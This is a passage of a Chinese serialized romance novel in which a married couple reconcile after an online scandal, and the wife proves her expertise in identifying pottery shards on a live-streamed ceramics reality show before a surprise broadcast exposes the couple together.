庄别宴什么也没说,只是搂着她的腰,轻轻拍着她的背,“阿荷,我永远都在。”
这场闹剧以曲荷发的微博迎来了大结局,网络上的喧嚣还在继续,万华园里的暧昧逐渐升温。
不知是谁动了心,两人抱着抱着就滚到了沙发上了,唇齿相依瞬间,所有委屈和不安都烟消云散,只剩下彼此的温度。
四片唇分开,曲荷趴在他怀里喘气,看着他捏着自己的手心玩。
曲荷想起什么,“你什么时候拿的结婚证拍的照?”
她记得两人领证后,这结婚证跟消失了似的,原来是被庄别宴藏起来了!
庄别宴下巴蹭了蹭她的发顶,“在看到周时安发的照片后。”
“那结婚证被你藏到哪里了?我怎么从来没见过?”
“在卧室衣柜最顶层的小盒子里。”
曲荷嘀咕:“你放这么隐蔽?卧室最顶层.....”
卧室!
她一个激灵坐直身子,转头看向他,眼睛瞪得圆圆的,“你去卧室了?”
完了完了!
刚才满脑子都是处理网上的事情,忘记自己要表白了。
庄别宴去过卧室了,那不就看到那些鲜花气球布置了?
失策了!
庄别宴看着她惊呆而睁大
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的眼睛,唇角弯了下。
曲荷试探:“你是不是都看到了。”
庄别宴点了下头:“你是指什么?衣柜旁的气球?还是桌上的蛋糕?又或者是床上那束鲜花....”
“可以了可以了,不许说了!”曲荷扑到他身上捂住他的嘴,“我本来想和你表白的...”
庄别宴眼里含笑,拉下她的手亲了口,“阿荷,我很喜欢。但是....”
曲荷心里咯噔一下,心跳到了嗓子眼,以为他要说不好。
可下一秒,庄别宴单手一把捞起她走向房间,声音蛊惑:“表白的事情,应该让男人来做。”
卧室里,鲜花撒了一地,气球飘在空中,灯光映着两人,旖旎满地。
一场酣畅淋漓的情事结束,曲荷被清理完后,披着一身水汽被抱出来放倒在床。
时间还早,两人都没有困意。
庄别宴抱着她单手刷手机,还笑着把手机凑到她面前,邀请她一起看。
曲荷只是瞥了一眼,发现他的界面还停留在微博上。
好像还是个超话。
“你在看什么?”
“随便看看。”
庄别宴本意只是想看看网上的**走向,可看着看着就发现了一个叫【宴曲cp】的超话。
他发誓最初只是好奇心作祟点进去看了眼,可再也出不来了。
这个超话是网友给他和曲荷开的,都在说他们有多般配,恩爱。
庄别宴实名制冲浪,看得津津有味,把那些说他们恩爱的微博都点了个赞。
甚至还有些网友画了两人的插画图,还写起了同人文。
庄别宴随手点开看了眼,《分手渣男后,我转嫁豪门大佬你哭什么?》
看完后他感觉这就是他和曲荷的真实写照,唯一不足之处是他们并不是契约成婚,而是他步步为营,蓄谋已久。
他连续看了好几篇突然看到有一条评论说了句:【难道就我一个人在磕安荷桥吗?】
安荷桥?
这又是什么?
他退出超话界面,在搜索框里输了这三个字。
在看到跳出来的内容后不自觉眯了下眼,脸色瞬间沉了好几个度。
【我有罪,我要偷偷磕一口青梅竹马!】
【同上,虽然我是宴曲批,但是青梅竹马的暗恋真的太酸涩了!周时安微博的三张照片道尽遗憾!】
【是妹妹,是伙伴,却唯独不可能是爱人!我哭死!这文案好刀!】
曲荷原本是被庄别宴搂在怀里,可她慢慢觉得他手上的力道越来越重。
她稍稍动了下身子,抬头问他,“你怎么了?”
正好,撞进了他幽深的眼眸,里面翻涌着熟悉的醋意。
“阿荷,我想...”
第102章 保险箱里的秘密
庄别宴看着微博上周时安发的那三张照片。
曲荷抬头看他,“你想什么?”
庄别宴把手机递到她眼前,醋意几乎要漫出来:“你和别人都有合照,那么多张,我们却一张都没有。你看周时安不仅有你小时候的合影,还有这张你初中的背影,他什么时候拍的?”
话匣子一开就收不住。
“周时安果然对你有非分之想,明明只用发一张合照就能解决的事情,他还发了三张。”
曲荷随便看了眼就收回视线,不以为然,“时安哥是在帮我澄清。”
庄别宴听到她叫的称呼,低头在她嘴上亲了下,控诉道:“阿荷,我在吃醋你没看出来吗?”
曲荷故意逗他:“所以呢?”
“所以我们都已经结婚了,到现在连张合照都没有。”他的声音软了些。
曲荷没想到他会因为这个吃醋,坐直身子,戳了戳他胸口,“可是我们有一张别人都没有的合照。”
庄别宴挑眉示意她说。
“是结婚证的合照啊,红底盖章证件照,全国联网备案,多有意义。”
“那不一样。”
庄别宴拉过她的手,十指相扣,“你都说了是证件照,不是我们好好拍的合照。”
两人现在互通心意,庄别宴也仗着曲荷喜欢自己,就更加得寸进尺,
大女人当然要宠着喜欢的男人。
曲荷看着他眼底的期待,凑近,“那要不要我们现在拍一张?”
庄别宴眼睛亮了一下。
曲荷说干就干,拿过手机打开相机,可庄别宴在旁边没动。
她回头看他:“怎么了?”
庄别宴皱眉,“没有仪式感,你和别人拍的照片都很有意义,我们的不能这么随便。”
“那你想怎么样?”
庄别宴在她耳边说了几句话。
“可以。”
庄别宴不知道从哪里翻出了一个拍立得和定时器,把他们固定在三脚架上,然后两人换上上次他出差买回来的情侣短袖,坐在客厅的沙发前,庄别宴搂着她的肩膀拿着结婚证。
快门声响起,第一张照片吐出来。
庄别宴小心地拿起照片,轻轻摇晃等待成像,眼里满是欣喜。
曲荷一脸好奇:“倒是没想到你居然还会有拍立的?”
庄别宴手愣了一下,“小时候有庄留月有这个爱好,跟着她买的。”
他又拉着曲荷坐下,“再拍一张。”
这张曲荷还没反应过来,快门就闪了。
照片里曲荷懵懵地看着镜头,而庄别宴则在快门落下的那一秒在她脸上亲了一下。
整整一个晚上,曲荷陪着他拍了好多照片,拍立得拍完,手机也拍了。
到后来她已经看到镜头就条件反射坐好,眼皮已经开始发沉。
曲荷看着他选了好久的照片,开始期待他到底会把哪一张发到微博上。
终于微博消息提示音响起。
曲荷点进他的主页,在看到他发的照片后愣了一下。
他发了两张照片,一张是她刚才拍得累了,坐在毛毯上趴在茶几上昏昏欲睡的侧脸,还有一张是在渔家渡房间里从她相册里拿走的那张小时候的拍立得,她趴在书桌上睡觉。
微博上的网友看到这两张照片,那群磕糖的闻着味就来了。
【天呐,庄总好爱。】
【我明白了,庄总看到周时安发的照片吃醋,开始疯狂展示自己的正宫地位。】
【只有我一个人发现,茶几角落上那一叠相纸吗?庄总快把剩余的照片发出来。】
庄别宴点赞回复了这条评论,【不发。】
“为什么不发,刚才拍了这么多,你怎么选了这张我睡着的照片?”曲荷也看到了那条评论,问他。
庄别宴整理好相纸,收好结婚证,“我只是想要合照,没说要给别人看。”
曲荷:“.....”
她看着他拿着相纸和结婚证走向了书房,她紧随其后。
发现他把东西都锁进了书房柜子上的银色保险箱里。
“藏这么严实?”
“当然。这对我来讲是很重要的东西。”庄别宴锁上保险箱,转身把她圈在怀里。
曲荷看热闹不嫌事大,她指着最上面那个黑色保险箱问,“那个箱子呢?从搬进来就发现它在那里了,它是不是也很重要?”
庄别宴顺着她手指的方向,看向那个黑色保险箱,又回头看她,眸色深沉:“重要。阿荷想知道里面是什么吗?”
曲荷心跳了下,无意识攥了下:“我想你就会给我看吗?”
庄别宴声音很轻,但又很认真:“只要你想。”
曲荷看着他的眼睛,总感觉这句话意味深长。
她知道这个黑色保
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险箱对庄别宴一定很重要,潜意识告诉她可以打开看看,但她又怕这是个潘多拉魔盒,打开后一发不可收拾。
曲荷压下心底的情绪:“还是算了吧,我还是很有边界感的。”
庄别宴看着她眼底一闪而过的犹豫,什么也没说。
尽管两人现在互通心意,但那个“白月光”还是像根刺一样扎在心里,让她不安。
“庄别宴。”
“嗯?”
曲荷抱住他的腰,埋在他胸前:“庄别宴,你.....“
她抬头看他的眼睛,想问“你到底有没有白月光”,“你心里是不是还有别人”。
可最后她只是笑了笑,问了句:“你爱我吗?”
庄别宴回眼神软了下来,“我爱你。”
“那我们以后好好过日子行吗?所有过去的一切让他过去。”
“好,我们好好过日子。”
曲荷在他怀里点头。
**事件发酵过后几天,一切恢复正常。
曲荷在经营荷月坊之余,空闲时间在线上上课。
而唯一变的是庄别宴,**从什么时候开始总是抱着手机,甚至开始在他的微博号里分享起了日常。
他每次出席酒会,都会给她发视频报备,有时候又会要求她给他打个电话。
而每次她打过去,刚接通,她还没说话,他就先开口,“想我了?那我马上回来。”
久而久之,庄别宴妻管严的名号就传开了。
有次聚餐,郁汕偷偷和她说,“上次和顾聿聚餐,中途老二接了个闹钟就走了,说是你想他想得睡不着。当我们都是瞎的吗?”
曲荷听得脸颊发烫。
尤其是最近两人做那事的时候,他的情话也是张口就来,甚至还会带她开发从前没试过的姿势和地点。
曲荷被他磨得不行,问他到底从哪里学来的。
庄别宴咬着她的耳朵说了几个字。
第二天,曲荷抱着好奇心,潜水进了名为【宴曲cp】的超话,在看到那些熟悉的话和姿势图后,脸红退了出来。
谁知道外人面前矜贵高冷的庄别宴,私下会看这些东西呢?
蜜里调油的日子过了一个多星期,甜蜜之于曲荷也会想起那个黑色保险箱,像个定时**一样,不知道什么时候炸开。
“在等等吧。”
曲荷轻声告诉自己。
第103章 打脸!曲荷才华显露
接到《成器》录制邀请的时候,曲荷刚好在回复齐墨老师的邮件,两人还在视频通话。
自从上次**事件过后,微博上有不少媒体综艺邀请她参加节目录制,但大多是打着节目的幌子,实则是对她的私生活感兴趣。
《成器》这个综艺她听说过,是一群来自各个陶艺学校的六个大一学生,要在一个月内完整体验陶瓷的72道制作工序,并在最后办一场推荐展。
曲荷不想参加这种综艺节目,下意识拒绝。
可视频通话里,齐墨老师听说后,若有所思,“时安好像前两天也去参加了这档节目。”
曲荷惊讶。
齐墨语重心长,“曲荷,老师是比较建议你去参加一下,一方面可以提高自己的知名度,另一方面老师也是希望你能借节目宣传我们中国陶艺。”
齐墨后面说了很多话,最终,曲荷被动摇了。
节目录制当天,庄别宴把她送到了机场,叮嘱,“我第三天飞过去。”
节目录制地点选在了江城里的一个陶瓷小镇里,据说这个小镇是最早的青瓷发源地。
三天两夜,会和直播同步进行。
到了后,曲荷才知道这次和她一起录制的还有两个嘉宾,一个是著名陶艺大师周建老师,还有一个神秘嘉宾要在明天才到。
简单的开场介绍后,就投入了录制。
几个学生一看到周建老师立刻拥了上来,曲荷被挤到了人群最外围。
下午的时候,他们参观了青瓷小镇,小镇由一个青瓷博物馆,青瓷工厂,青瓷体验教室三部分组成。
本该重点讲解的陶艺内容,镜头却一直追着周建忆往昔。
曲荷被忽视,说好的陶艺节目,其实只是沾了陶艺的边,实则是个生活录制综艺,大部分时间在做游戏,小部分时间在做陶瓷。
晚饭后,大家围坐在草坪上,节目组准备了知识竞答。
节目组拿着答题板宣布规则:“答对所有题目,可以为大家争取到一个心愿,答错的话明天大家需要下荷塘捞土,而且输的那个人要接受节目组追加问答。”
曲荷心里不妙,果不其然,轮到她的时候节目组拿出了三片碎瓷片,“曲荷老师,请您辨认一下这三块碎瓷片分别是哪个朝代?”
曲荷看了眼节目组。
此时节目组直播里,观众纷纷涌入了直播间。
【来喽来喽。听说曲荷小姐姐来参加综艺,来看看。】
【感觉曲荷被坑了!今天蹲了一下午直播间,感觉曲荷被彻底边缘化了,虽然我理解周建老师是长辈,但是大家这样偏心不太好吧。】
【我也觉得,每次周建出现都会开始忆往昔,根本不想听。】
【节目组偏心,明显是针对曲荷。刚才每个人的提问都很简单,轮到曲荷就这么难了?】
【呵呵,曲荷不是很牛吗?不是陶艺专业第一名吗?这就露馅了?】
【我敢打赌,节目组就是故意的!想看曲荷答不上来,然后问她关于庄总的私事。】
曲荷自然也看透了节目组的小心思,她笑了笑没说什么。
现场氛围很微妙,旁边有个男大学生开口,“节目组挑战这么大?我们前面可都赢了,要是曲荷老师这里输了,那她压力也太大了吧。”
这话一出,大家看曲荷的眼神都变了。
虽然看起来是在帮曲荷说话,但是话里的意思大家都听出来了,答错了就是她能力不足,还要背锅。
一个女孩子捅了下他的胳膊肘,不满看了他一眼。
“曲荷老师没事的,下荷塘捞土而已,正好体验一下。”
曲荷看了眼这个说话的小姑娘,这是今天唯一一个下午主动和她打了招呼的,叫唐甜。
她笑了笑,转头看向节目组,“我能再看一眼吗?”
节目组犹豫了下,商量出结果,带着几分得意:“只能看三秒。”
“可以。”
节目组再次把标了数字的三块碎瓷片拿过来,三秒后又立刻拿远,用布盖住。
直播间里的网友炸锅了:
【这么一眼?三秒?打发要饭的呢?糊弄谁呢?故意就直说。】
【我是陶大研究生,只能说难度很大,晚上太暗,三秒根本看不出来,只能说曲荷自求多福了。】
【为曲荷捏把汗!庄总呢?呼叫庄总,你老婆被欺负了!】
屏幕外,庄别宴看着手机上的一闪而过曲荷的脸,脸色沉沉。
她蹙着眉站在草坪中央,露营灯落在她身上,显得格外单薄。
旁边的谭聪大气不敢喘一口。
“庄总,需要我联系节目组吗?”
庄别宴直接发白,目光却没离开屏幕:“先不用。帮我定现在去江城的机票。”
谭聪:“好的。”
节目组的倒计时进入尾声,曲荷在白板上写下了自己的答案。
到了公布答案的时候,全网直播间里的观众都很紧张。
节目组迫不及待公布答案:“这三块碎瓷片分别是五代十国,南北朝,东晋。接下来我们来看一下曲荷的答案。“
曲荷愣了一下,反转白板。
上面写着的三个答案分别是五代十国,南北朝,西晋。
【完了完了,刚才我就看到曲荷皱眉了,果然答错了。】
【但也很厉害了,答对了两个,而且东西晋隔这么近。】
但是节目组并没有留情,在答案公布后,就敲定结果。
他们提高声音:“那曲荷老师最后一个答案错了,非常遗憾。按照规则,您需要接受节目组的提问。”
曲荷看他,“什么提问?”
节目组搓搓手,好像已经预料到收视爆点了,拿来提问板,“请问曲荷老师,您和前男友谈了七年的恋爱,现在和庄总结婚,你们之间又因为这个发生过争吵吗?”
提问一出,曲荷脸就暗了。
直播间里的宴曲cp也炸了。
【节目组不做人,这么私人的问题你也好意思问?】
【不是陶艺节目吗?这个问题和陶艺有半毛钱关系?】
【曲荷姐姐我们不录了!这是陷阱,让庄总陪违约金,他赔得起!】
大家纷纷为曲荷出头,可录制现场的氛围却不一样。
大家都抱着看热闹的态度,曲荷的八卦他们可都听说了,都是看热闹的心态,旁边的周建也是事不关己高高挂起喝着茶。
节目组“善意”提醒:“曲荷老师,您还有一分钟时间回答问题哦。”
曲荷看向他,目光冷冷:“我不回答。”
节目组也不是善茬,“我们这可是直播,你要当着全网观众的面反悔吗?”
曲荷看向他指的摄影机方向,笑了笑,“你说我错了才需要回答问题,可是我又没答错。”
节目组反驳:“你别狡辩!这可是我们请了专家辨认的,周建老师也在场,难道你连周建老师都不放在眼里?”
“周建老师是前辈,我很尊重他,但是专业问题不能凭借资历下结论。”
说着,曲荷直接走上前拿起最后一片碎瓷片,转头看向摄影机方向,缓缓道来:
“西晋
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是一个北方王朝,处于青铜器时代。当时碰上五胡乱华,八王乱政,青铜被用来做兵器,青瓷代替做日用品,所以当时器物的表面都会有青铜器铭文。”
她说着指着手里碎瓷片外侧角落里非常的小的一处花纹痕迹,”这时西晋的滚轮装饰手法,线条硬朗,带着北方游牧文化痕迹。”
曲荷看向节目组,继续说,“后来到了东晋,晋氏东渡定都建康变为南方王朝,那时候的人开始崇尚自然,审美发生变化,瓷器上的装饰纹也越来越少。”
“所以这块瓷片出土自西晋,而非东晋。”
曲荷说的缓慢,声音很轻,加上她的演讲,引人入胜,大家都被她带入了。
直播间瞬间安静下来,然后爆发更热烈的讨论。
【我在综艺节目学历史?我这次居然没睡着?】
【原来一片瓷背后有这么多历史故事?】
【我外公是考古碎瓷的,他说曲荷全都说对了。他都是看了很久才辨别出来,曲荷才看了几秒就分出来了!真的厉害!】
【所以节目组自己搞错了,还曲荷一个公道!】
【我已经听入迷了,想听曲荷继续讲另外两块瓷片的故事。】
网上风评调转,节目组赶紧采取紧急补救,可网友却不买账。
无奈,节目组制作人只好当众道歉。
在曲荷准备回头的时候,他拦下曲荷,这次态度非常恭敬:“曲荷老师,网友们还想听您讲另外两块瓷片的故事。”
曲荷反应过来,想到了自己来这个节目的初衷,于是回头继续开始讲解。
她拿起南北朝的瓷片,看向镜头,“南北朝的瓷片很好辨认,大家都听过一句诗’南朝四百八十寺,多少楼台烟雨中‘,所以由此可知南北朝时期崇尚佛教,莲花是佛教圣花之一,所以这个时期的瓷片会有很多莲花纹饰。”
曲荷这次说的没有那么晦涩,尽量说得让大家通俗易懂一些。
她拿起最后一块碎瓷片,看了眼皱眉,“其实,这块瓷片严格来讲叫做秘色瓷,关于秘色瓷的具体内容大家可以去网上了解一下。但其实我们高中的历史课本上有一副图叫做韩熙载夜宴图,这上面的器具就是秘色瓷。“
讲完这些,曲荷还对着镜头,靠近了些,“其实瓷史也算是半部历史,我很幸运能够站在台前和大家分享这些。但我这些话并不是证明我有多厉害,而是想告诉大家每一件瓷器背后的人才是真正的工匠,匠心造物,器不苦窳。希望大家可以多多了解我们国家的陶艺瓷器,把China带到世界!”
【我哭了!这才是成器这档节目的真正意义吧!】
【作为陶大学生,被曲荷这番话感动到了!】
【匠心造物,器不苦窳,能说出这句话的人一定是对陶瓷非常热爱的人!】
【节目组你糊涂啊!放着这种大局观不宣传!】
曲荷这段话很快被做成了切片在网上流传,隔天还被官网转发,各大陶艺学校纷纷转发。
“匠心造物,器不苦窳,把China带到世界!”在很长一段时间内甚至成为了各大陶艺高校的招生宣传标语。
而节目录制现场的曲荷却对网上发生的这些全然不知,晚上的节目录制结束回到酒店后已经是三个小时后的事。
各种心力交瘁,她突然很想庄别宴,不知道他有没有看直播。
刚刷开酒店房门,就被人一把拉了进去,熟悉的雪松味瞬间把她包围。
“我的阿荷,今晚终于被大家看到了!”
第104章 突袭直播!怎么是庄总?
直到被庄别宴抱进怀里的时候,曲荷还以为这是一场梦。
她不敢相信地戳了戳男人的手臂,真实的触感传来,这才确信眼前人是真实的。
庄别宴稍稍松开她,抓着她的手放在自己胸口,“是我。”
心脏扑通扑通跳得厉害,曲荷分不清这剧烈的心跳声是从自己身体里发出来的,还是从庄别宴身体里传出来的。
但此刻她根本就不想思考这些,上一秒还在思念的人这一秒就出现在了眼前,激动淹没了所有了理智。
曲荷踮脚搂住他的脖子,一脸惊喜,“你怎么过来了?不是说有事要后天才能过来吗?”
庄别宴抱着她的腰往上托了一把,让她借力靠在自己身上。
他揶揄,暖暖的呼吸喷在她耳侧:“曲荷老师这么优秀,当然要亲自过来给你捧场了。”
曲荷睨了他一眼,“你看直播了?”
提到今晚的直播,她还是有些担心的。
曲荷抿了抿唇,刚才她说完那些话后,周建的脸色特别难看,她这次当着那么多网友的面当众打脸节目组,虽然出了口气,但难免担心后果。
想想也是有些无奈,明明错的是他们,她只是讲述了事实,可结果还要担心是不是会给别人带来不好的影响。
“网上是不是都在骂我?我刚才说的那些话是不是太尖锐了,都在骂我啊...”
曲荷越说越没有底气,不觉地攥紧了他的衣领。
“没有,大家都在夸你。”
曲荷明显不信,“真的?”
庄别宴见状,直接拿出手机点开微博递到她面前。
屏幕上,满屏的“姐姐好飒”,“让China走出世界”,“中国陶艺”,“支持曲荷”,甚至还有很多陶大学生感谢曲荷让大家重新认识了中国陶艺。
曲荷看着看着眼眶都湿润了。
她没有想到自己的话居然会给大家那么大的力量。
“哪有这么夸张,我也只是说了一点点而已,网友们对我的滤镜太深了。”
“不是滤镜!是你本来就这么优秀。”
庄别宴伸手帮她抹去了眼角的湿润,“他们只是到今天才看到你的好,而我比他们幸运,比他们更早发现了你,拥有了你。”
他说着轻轻撞了下她的额头,两人额头相抵,四目相对瞬间,眼底的深情一览无遗。
“阿荷,以后你想做什么就做什么,想说什么就说什么,一切有我,什么都不用怕。”
曲荷被他说得心口发烫,在他胸口画圈圈,调侃他,“庄先生这么霸道?”
“那庄太太喜欢吗?”
“一般般吧。”
又是这句熟悉的话。
看着曲荷故意偏头的样子,庄别宴眸色一黯,弯腰一把将她打横抱起走向卧室。
“你干嘛?”曲荷惊呼一声,赶紧搂住他的脖子。
“看来曲荷老师对霸道的要求很高,那我只好再努力一点,让你喜欢上。”
明月高悬,映着相拥的两人,爱意缱绻,两颗心越来越近。
满室都是化不开的甜。
《成器》节目因为昨晚曲荷在直播里说的那番话,一夜之间上了好几个热搜,相关话题阅读量直接破亿,平台预约人数翻了几十万倍。
出品方和制作组连夜商量对策,他们决定抓住这波传统文化的热度,重新调整了节目基调。
同时他们也为了抓住曲荷带来的这波热度,打着为满足观众期待,决定第二天从早上就开始直播。
早上七点,直播准时开启,没多久就有一大波观众涌进直播间,弹幕刷得密密麻麻:
【哇塞,今天这么早就开播了?早饭已就绪!】
【希望节目组这次不要再作妖了,好好对待嘉宾!】
【听说今天还会有一个神秘嘉宾要来?】
【刚刚看到燕舒粉丝发路透了,应该是她。周建那个老登走了,剩下两个美女姐姐同框太期待了。】
【节目组这是在干嘛?搞突袭直播?】
节目组看着暴涨的在线人数,乐开了花,屏幕上轮番滚动的弹幕越来越多,工作人员在旁边简单说了下直播内容。
看着满屏的催促敲门,他们也不磨蹭了,拿着摄像机走到曲荷房门前,轻轻敲门,“曲荷老师,请问您醒了吗?我们开始直播了。”
弹幕瞬间更热闹了。
【听到脚步声了!感觉曲荷姐姐是不是还没有睡醒?】
【昨晚一战,曲荷学姐已经成为了我们陶大学子的女神,守护女神!】
【楼上,你没机会了!你拿什么和庄别宴争?除了年轻你一无所有!】
【那个,大家,我刚刚好像听到了房间里有男人的声音,不会是.....】
几乎是同时,房间门开了。
摄像机镜头里,突然出现了庄别宴的脸。
他穿着蓝色真丝睡衣套装,领口微敞,头发还有些凌乱,在看到门外的摄像机后不自觉皱了下眉,眼神带着几分不悦。
刹那间,直播间的弹幕停止了几秒,然后被疯狂刷屏!
【哦莫哦莫哦莫,庄别宴怎么在这里?】
【啊啊啊啊,宴曲批大旗给我扛起来!真夫妻就是好磕!这才是我该看的!】
【庄总领口后面!脖子上那个红点!是不是!是不是!】
【姐妹你是拿显微镜看的吧!】
【大早上让我看这么荤的,我都不好意思了,嘿嘿嘿~,要不我交点钱吧,怪不安的,嘿嘿嘿~看得人心黄黄啊~】
【姐妹你的笑声我隔着屏幕都听到了~!】
节目组也没料到这情况,瞬间懵了,手里的摄像机开始发抖,也不知这直播是继续还是关掉。
就在这时,房间里又传来了脚步声,还带着女人没睡醒的懵懵的声音,“庄别宴,你昨天把我衣服丢哪里了?你....”
话音未落,曲荷就从庄别宴身后走了出来。
直播镜头里,她穿着和庄别宴同款睡衣,头发随意披在肩后,懵懵的眼睛在看到摄像机后瞬间瞪大,剩余的话被堵在了喉咙里。
可镜头只停留了一秒,大家还没仔细看
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,庄别宴就反应过来伸手挡住了镜头,另一只手把曲荷拉到身后。
“砰”
房门被关上,只留下了直播间里疯狂刷屏的观众:
【做了!绝对做了![抽烟JPG]】
【啊啊啊啊,节目组我要求你现在把门给我撬开!要多少钱直播间给你众筹!】
【为什么要关门?大家都是炎黄子孙,都是黄种人!看点有颜色的怎么了?怎么了?】
【我真的想跪下来求自己别磕了!刚刚从人脉那里了解到庄总是昨天连夜的飞机赶过来的。他一定是看了直播,赶过来给曲荷撑腰了!】
【我不磕真夫妻磕什么?做!给我大做特做!】
【人脉加一。听说庄总给节目组砸钱了,要求播出的时候,昨晚的直播画面一秒不剪!妈妈啊,我又相信爱情了。】
【难道就我一个人注意到两人穿的是情侣睡衣啊,庄总私下不穿正装这么年下的吗?狗狗毛发型简直就是男大啊,不说谁知道他已经三十了!】
直播间气氛火热,大黄丫头们越聊越嗨,弹幕区已经快控制不住了,还有部分理智粉在吐槽节目组“不尊重嘉宾隐私”。
节目组工作人员看着后台不断跳动的警告提示,在被封号前赶紧停止了直播。
房间里,曲荷没想到大早上的会有这一出。
她脑袋都是懵的。
甚至都想不起来刚才她说了什么。
庄别宴把水杯送到她手里,曲荷愣愣接过,“庄别宴,怎么办啊?你出现在这里,怎么解释?”
庄别宴挑眉看了她一眼,一脸坦然,“庄太太,我们是正经夫妻,我出现在我太太房间里有什么好误会的。”
曲荷听出他话里的取笑,脸一红,低头喝了口水。
这时,她余光一瞥,看到了庄别宴脖子上的红点,她放下水杯扑到他身上,直接扒开了他的领口。
庄别宴一下子没反应过来,搂着她的腰轻笑,“阿荷,这才早上,你...”
“这这这....”曲荷指着红点,仰头哀嚎,“完了!完了!你刚才为什么不扣扣子?这肯定拍进去了!这下大家都知道..”
庄别宴愣了一下,看着旁边就差把头埋进沙发里的曲荷,宠溺勾唇。
两人一个害羞捂脸,一个宠溺,而网络上早就因为这个直播片段炸翻天。
宴曲CP超话组把直播片段经过剪辑配乐加上慢动作,短短一个小时里看,就成为了短视频平台热门话题。
与此同时,一辆银色商务车行驶在路上。
燕舒坐在后座,看着手机上满屏粉红泡泡的视频,不自觉握紧手机,眼里闪过一抹阴郁。
旁边小助理注意到她脸色不对,轻声提醒:“燕舒姐,我们下午到青瓷小镇,您要不先休息一下吧。”
燕舒收起手机,抬头时又恢复了往日的温柔,“好的,辛苦你了。”
小助理帮她调整好椅背。
燕舒闭上眼睛,脑海里都是视频里曲荷跟庄别宴的相处画面,指甲悄悄掐进了掌心...
第105章 豪门似海!曲荷卑微求爱?
早上突袭直播那一出根本就不在曲荷签署的合约里。
她看着手机上的热搜话题,眉头紧蹙。
曲荷直接给节目组发了微信,要求一个合理的解释。
几分钟后制片人和导演登门道歉。
“曲荷老师,我们真的不知道庄总昨晚回过来,要是早知道绝对不会安排早上的直播...”
他们一边说,一边在找寻庄别宴的身影。
曲荷坐在沙发上,听完他们苍白的解释,嘴角勾起一抹冷笑。
果然是资本。
说到底节目组现在低声下气来道歉根本就不是认识到自己的错误,只是害怕庄别宴庄别宴的怒火罢了。
节目组提出了好几个解决方案,但他们的目光却一直看向坐在曲荷的旁边的庄别宴。
好像在他们眼里,只要得到庄别宴的同意和谅解就够了,至于曲荷的想法无关紧要。
可出乎他们意料的是,从他们进房间开始,庄别宴就像是没看到他们一样。
从始至终他都在开放式厨房里烤面包,煎鸡蛋,制片人和导演好几次想和他打招呼,都没有找到机会。
好不容易看到他走过来了,两人正想起身,可他的眼神却直接略过了他们,径直坐在了曲荷边上。
“面包好了,快趁热吃。”
曲荷听出了他话里的意思,起身离开去吃早饭。
她一走,庄别演身上的气势瞬间变了,好像刚才的温柔都是错觉。
即使他身上穿着还是那件睡衣,但却让人感到了窒息般的压迫。
制片人先擦了把虚汗,小心翼翼开口:“庄总,这事您想怎么解决?我们都是好商量的,一定配合您的要求...”
庄别宴先看了眼在吃饭的曲荷,看到她非常听话地吃完了盘子里的面包后,满意笑了笑。
制片人看到他嘴角的笑,以为事情有转机,可下一秒他回头眼神瞬间冷了下来,冷冷道:“我们家,我太太说了算。”
制片人:“....”
导演:“....”
一句话,让他们彻底僵住了。
曲荷不知道庄别宴和节目组说了什么,他们走之前和她又道了一次歉,比昨晚的真诚多了,而且态度也明显尊敬了不少。
曲荷疑惑地看向庄别宴,“你和他们说了什么?怎么态度转变这么大?”
庄别宴上前揉了揉她的头发,“没什么,就是给他们分析了一下欺负我太太的后果。”
果然,在节目录制开始前,《成器》节目组就发了微博,先是为昨晚的事情和曲荷道歉,又承认了早上突袭直播的错误,最后还承诺等节目播出后,会将收益的三分之一捐赠给中国陶艺研究事业。
而这一波操作更是直接将《成器》这档节目的热度又拉高了一个档位,微博上的热搜都是和它相关。
妆发完毕节目录制开始,这次在和所有嘉宾商量后,节目组只会在正常录制的时候开通直播,且增加了很多正式的陶艺环节,再也不敢搞之前的噱头。
而经过早上那一出,庄别宴也是有了正当理由跟着曲荷出现在了片场,成了她的小助理。
偶然直播录制间隙,摄像机一闪而过还能看到曲荷身后不远处的庄别宴,一手拿着小风扇,一手拿着水杯。
起初工作人员看到庄别宴出现还有战战兢兢,生怕一个不小心让庄总不顺心了就被行业**了。
但很快大家就发现,庄别宴的目光始终只在曲荷一人身上,好像在他眼里只有曲荷,其他人都是背景板。
更重要的是,庄别宴的到来让整个节目组的待遇直线上升。
本来就是八月最热的时候,他还贴心给大家买了冷饮,又安排了立式空调,甚至午餐都是定制配送。
整个节目组上至导演摄像,下至嘉宾工作人员无一不感谢,每个人都差把曲荷捧手上供着了,一口一个“曲荷姐”,“曲荷老师”喊得格外亲切。
直播间里的人隔着屏幕也感受到了大家对曲荷的态度转变:
【有人撑腰的感觉真好,哈特软软。】
【庄别宴对曲荷真好啊,原来豪门也是有真爱的。我再也不看七猫上的豪门虐文了!我就要看甜文!】
【楼上姐妹你也在七猫看文啊!推荐你一本甜宠文叫《暗恋十年,庄先生
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他藏不住了》!我每天都给这本书投票打赏。】
【真好啊,牛马当久了就想看这种甜甜的爱情。】
【呵呵呵,我只能说你们太单纯了。快去微博看看吧,都是资本演给你们看的,也就是你们这群人才当真。】
节目组看到这条弹幕的时候,微博上一个匿名账号发布的视频突然在《成器》超话里登顶了。
标题是#豪门似海!曲荷卑微求爱?庄别宴冷眼相对#
视频大概有三十秒左右,应该是在节目录制休息时间偷拍的。
视频里曲荷拉着庄别宴的手像是在恳求什么,可庄别宴却神情严肃。他往前走了几步,曲荷小跑上前拉他的手,拼命摇头。
视频最后几秒曲荷一个人坐在椅子上喝着保温杯里的水,而周围所有人都在喝奶茶,看起来非常孤单。
拍摄者是从二楼俯拍的,角度刁钻,距离较远,但明显能看出曲荷卑微可怜的样子。
很快这个视频又被转到了【宴曲CP】超话里。
【那群说磕真夫妻感情的人去哪了?知道被骗了吧!都是演给你们看的!】
【曲荷真可怜,嫁入豪门却连一杯奶茶都不被允许喝,只能喝自己保温杯里的水。】
【所以说豪门深似海啊,感觉曲荷挺卑微的。】
尽管超话主持人很快删除了这条帖子,但还是有部分粉丝被影响,带偏了。
【不会吧,真夫妻也能塌?我好不容易真情实感磕个CP。】
【呵呵,再磕CP,我是狗!】
【要不等等解释吧,万一是误会呢?】
微博广场上这个视频已经传疯了,像是被人买了热搜一下,#曲荷卑微求爱#这个词条直接登上了文娱榜前三。
节目组看到这个偷拍视频后视频,第一时间就是联系曲荷跟庄别宴。
经历早上的直播事件以及一上午的拍摄录制,在场人都明白了曲荷在庄别宴心里的地位,生怕这事处理不好,彻底得罪了这位大佬。
经过半小时的紧急会议,《成器》官方微博很快发布了一则花絮视频,这个视频从另一个角度记录了完整过程。
第106章 在哄她
